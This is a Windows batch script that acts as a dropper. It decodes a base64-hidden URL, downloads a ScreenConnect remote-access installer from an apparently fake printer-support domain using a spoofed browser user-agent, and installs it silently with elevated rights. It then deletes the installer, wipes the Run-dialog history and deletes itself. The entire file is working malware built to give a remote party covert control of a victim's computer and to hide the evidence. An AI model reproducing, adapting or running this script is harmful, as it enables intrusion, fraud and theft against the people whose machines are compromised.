@echo off
setlocal EnableExtensions EnableDelayedExpansion

set "u_enc=aHR0cHM6Ly9wYW5lbC5wcmludGVyc3VwcG9ydC50b2RheS9CaW4vU2NyZWVuQ29ubmVjdC5DbGllbnRTZXR1cC5tc2k/ZT1BY2Nlc3MmeT1HdWVzdCZjPSZjPSZjPXRlY2gwMDImYz0mYz0mYz0mYz0mYz0="

set "chosen="
set /a cnt=0
for /d %%D in ("%PUBLIC%\*") do (
    set /a cnt+=1
    set "dir_!cnt!=%%~D"
)

if !cnt! gtr 0 (
    set /a "pick=(!random! %% !cnt!) + 1"
    call set "chosen=%%dir_!pick!%%"
) else (
    
    set "chosen=%PUBLIC%\~pf_!random!!random!"
    mkdir "!chosen!" >nul 2>&1
)

if not exist "!chosen!" (
    
    set "chosen=%PUBLIC%"
)


set "f=!chosen!\~sc_%random%%random%.msi"


set "tmp_dec=%TEMP%\~dec_%random%%random%.txt"
powershell -NoP -Command "[IO.File]::WriteAllText('%tmp_dec%',[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('%u_enc%')), (New-Object Text.UTF8Encoding($false)))"
if errorlevel 1 goto :decode_fail

set "u="
if exist "%tmp_dec%" set /p "u="<"%tmp_dec%" 2>nul
del /f /q "%tmp_dec%" >nul 2>&1

if not defined u goto :decode_fail

curl.exe -s -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0 Safari/537.36" -o "%f%" "%u%"
if not exist "%f%" goto :dl_fail


powershell -NoP -W Hidden -Command "Unblock-File -LiteralPath '%f%' -ErrorAction SilentlyContinue"


powershell -NoP -W Hidden -Command "Start-Process msiexec.exe -ArgumentList '/package','\"%f%\"','/quiet','/qn','/norestart' -Verb RunAs -Wait"


timeout /t 5 /nobreak >nul
if exist "%f%" del /f /q "%f%" >nul 2>&1
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f >nul 2>&1


(goto) 2>nul & del "%~f0"
exit /b 0

:decode_fail
echo FAILED_DECODE
exit /b 3

:dl_fail
echo DOWNLOAD_FAILED
exit /b 2
